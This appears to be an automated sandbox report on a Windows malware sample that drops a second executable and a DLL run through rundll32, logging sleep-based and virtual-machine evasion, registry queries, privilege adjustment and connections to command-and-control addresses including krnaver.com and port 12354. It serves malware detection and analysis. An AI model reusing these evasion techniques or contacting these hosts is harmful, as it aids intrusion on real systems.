Source: unknown	Network traffic detected: HTTP traffic on port 62555 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62721 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64700 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64703 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64758 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64930 -> 12354

Source: C:\Users\user\Desktop\XXHYneydvF.exe	Code function: 0_2_00402138 IsIconic,#470,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,#755,#2379,		0_2_00402138
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Code function: 5_2_00402138 IsIconic,#470,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,#755,#2379,		5_2_00402138

Source: C:\Users\user\Desktop\XXHYneydvF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XXHYneydvF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XXHYneydvF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_6-5801

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 537			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 6021			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)	graph_6-6475
Source: C:\Users\user\Desktop\XXHYneydvF.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)	graph_0-1055
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)	graph_5-1054

Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe

Dropped PE file which has not been started: C:\yucdh\qtbbkpjim.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

graph_6-6016

Source: C:\Windows\SysWOW64\rundll32.exe TID: 2828	Thread sleep count: 537 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2828	Thread sleep time: -5370000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3772	Thread sleep count: 156 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3772	Thread sleep time: -39000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 4004	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3628	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2464	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2464	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3832	Thread sleep count: 198 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3832	Thread sleep time: -59400000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3820	Thread sleep time: -1260000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5532	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2772	Thread sleep time: -7200000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3832	Thread sleep count: 6021 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3832	Thread sleep time: -1806300000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2464	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000B0A0 lstrcpy,lstrcat,lstrcat,lstrcat,FindFirstFileA,FindNextFileA,rand,lstrcpy,lstrcat,lstrcat,_strcmpi,GetTickCount,srand,rand,rand,rand,rand,rand,rand,rand,rand,wsprintfA,wsprintfA,WinExec,Sleep,wsprintfA,Sleep,strchr,strchr,strchr,strchr,atoi,WinExec,DeleteFileA,Sleep,lstrcat,FindNextFileA,FindClose,		6_2_1000B0A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_100052A0 FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,		6_2_100052A0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100060E0 strrchr,strncpy,strncpy,strncpy,GetSystemInfo,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,sscanf,

6_2_100060E0

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: rundll32.exe, 00000006.00000002.3885246787.000000000063B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: s\Applications\\VMwareHo
Source: rundll32.exe, 00000006.00000003.1859842299.000000000564B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\Windows\WinSxS\amd64_microsoft-hyper-v-winhv_31bf3856ad364e35_10.0.19041.1_none_93cc37f483916b61\.~b
Source: rundll32.exe, 00000006.00000003.3253603854.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3499377638.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3886909734.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3252916045.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2988159580.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394402713.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3028247927.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3419063356.0000000002863000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000006.00000003.1859842299.000000000564B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\Windows\WinSxS\amd64_microsoft-hyper-v-bpa_31bf3856ad364e35_10.0.19041.1_none_555170071aa29c2c\.*=c\'
Source: XXHYneydvF.exe, 00000000.00000002.1432446355.00000000006AE000.00000004.00000020.00020000.00000000.sdmp, ygqcn.exe, 00000005.00000002.1443974763.000000000078E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: rundll32.exe, 00000006.00000002.3891829760.00000000044AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Applications\\VMwareHostOpen.exe

Source: C:\Users\user\Desktop\XXHYneydvF.exe	API call chain: ExitProcess graph end node	graph_0-726
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	API call chain: ExitProcess graph end node	graph_5-765
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_6-5806
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_6-6750
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_9-344

Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe

Code function: 5_2_0040229F _EH_prolog,EnterCriticalSection,#540,SendMessageA,#3998,#6907,#6907,#2818,#6907,GetSystemTime,#2818,LdrInitializeThunk,#6907,LdrInitializeThunk,#6007,#823,#823,memcpy,LdrInitializeThunk,#6007,LeaveCriticalSection,#800,

5_2_0040229F

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100051B0 LoadLibraryA,GetProcAddress,GetExtendedUdpTable,malloc,GetExtendedUdpTable,Sleep,htons,free,FreeLibrary,

6_2_100051B0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 202.108.0.52 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: krnaver.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 107.163.241.204 12354	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ygqcn.exe C:\Users\user\AppData\Local\Temp\\ygqcn.exe "C:\Users\user\Desktop\XXHYneydvF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
